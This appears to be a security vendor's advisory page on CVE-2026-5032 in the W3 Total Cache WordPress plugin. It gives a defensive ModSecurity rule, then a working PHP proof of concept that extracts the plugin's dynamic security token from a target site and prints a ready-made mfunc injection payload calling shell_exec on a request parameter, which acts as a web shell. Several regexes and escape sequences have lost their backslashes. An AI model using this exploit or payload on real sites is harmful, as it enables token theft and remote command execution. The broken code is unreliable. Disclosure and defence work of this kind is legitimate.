         'phar' => 'application/octet-stream',
         'php' => 'application/x-httpd-php',
         'php3' => 'application/x-httpd-php',
@@ -760,17 +796,

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5032
# This rule blocks attempts to exploit the User-Agent header bypass in W3 Total Cache <= 2.9.3.
# It detects requests where the User-Agent header contains the trigger string "W3 Total Cache".
# The rule is narrowly scoped to only block requests that are highly likely to be probing for the vulnerability.
SecRule REQUEST_HEADERS:User-Agent "@contains W3 Total Cache" 
  "id:1005032,phase:1,deny,status:403,chain,msg:'CVE-2026-5032: W3 Total Cache Security Token Exposure Attempt',severity:'CRITICAL',tag:'CVE-2026-5032',tag:'wordpress',tag:'w3-total-cache',tag:'information-disclosure'"
  SecRule REQUEST_HEADERS:User-Agent "!@rx ^W3 Total Cache/d+.d+.d+" 
    "ctl:ruleRemoveTargetByTag=CVE-2026-5032;REQUEST_HEADERS:User-Agent"

# Explanation:
# Chain Rule 1: Matches if the User-Agent header contains the string "W3 Total Cache".
# Chain Rule 2: Excludes legitimate requests from the plugin itself, which may use a versioned format like "W3 Total Cache/2.9.3".
# The rule operates in phase:1 (request headers) for early blocking.
# This virtual patch prevents the attacker from triggering the output buffering bypass,
# thereby stopping the information leak at the network boundary.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5032 - W3 Total Cache <= 2.9.3 - Unauthenticated Security Token Exposure via User-Agent Header

<?php

$target_url = "https://example.com/"; // CHANGE THIS to the target WordPress site URL

// Initialize cURL session
$ch = curl_init();

// Set the target URL
curl_setopt($ch, CURLOPT_URL, $target_url);

// Set the User-Agent header to trigger the bypass. The string must contain "W3 Total Cache".
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Atomic Edge Research) W3 Total Cache/1.0');

// Return the response as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Follow redirects
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Optional: Increase timeout for slower servers
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for cURL errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

// Check if the request was successful
if ($http_code >= 200 && $http_code < 300) {
    // Search for the W3TC_DYNAMIC_SECURITY token within mfunc or mclude comments.
    // The pattern looks for <!-- mfunc W3TC_DYNAMIC_SECURITY *value* --> or similar.
    $pattern = '/<!--s*(?:mfunc|mclude)s+W3TC_DYNAMIC_SECURITYs+([^s]+)s*-->/i';
    
    if (preg_match($pattern, $response, $matches)) {
        $token = $matches[1];
        echo "[SUCCESS] Vulnerable site detected.n";
        echo "[INFO] Extracted W3TC_DYNAMIC_SECURITY token: $tokenn";
        echo "n---n";
        echo "An attacker can now craft a malicious mfunc tag using this token.n";
        echo "Example payload to inject into a page or POST request:n";
        echo htmlspecialchars("<!-- mfunc $token echo shell_exec($_GET['cmd']); --><!-- /mfunc -->");
        echo "n";
    } else {
        echo "[INFO] HTTP $http_code received, but no W3TC_DYNAMIC_SECURITY token found in the response.n";
        echo "This could mean:n";
        echo "  1. The site is not vulnerable (patched or feature disabled).n";
        echo "  2. The requested page does not contain dynamic fragment cache tags.n";
        echo "  3. The fragment caching feature is not enabled in W3 Total Cache settings.n";
        // Optional: Output a snippet of the response for manual inspection
        // echo "nResponse snippet (first 2000 chars):n" . substr($response, 0, 2000);
    }
} else {
    echo "[ERROR] HTTP request failed with code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School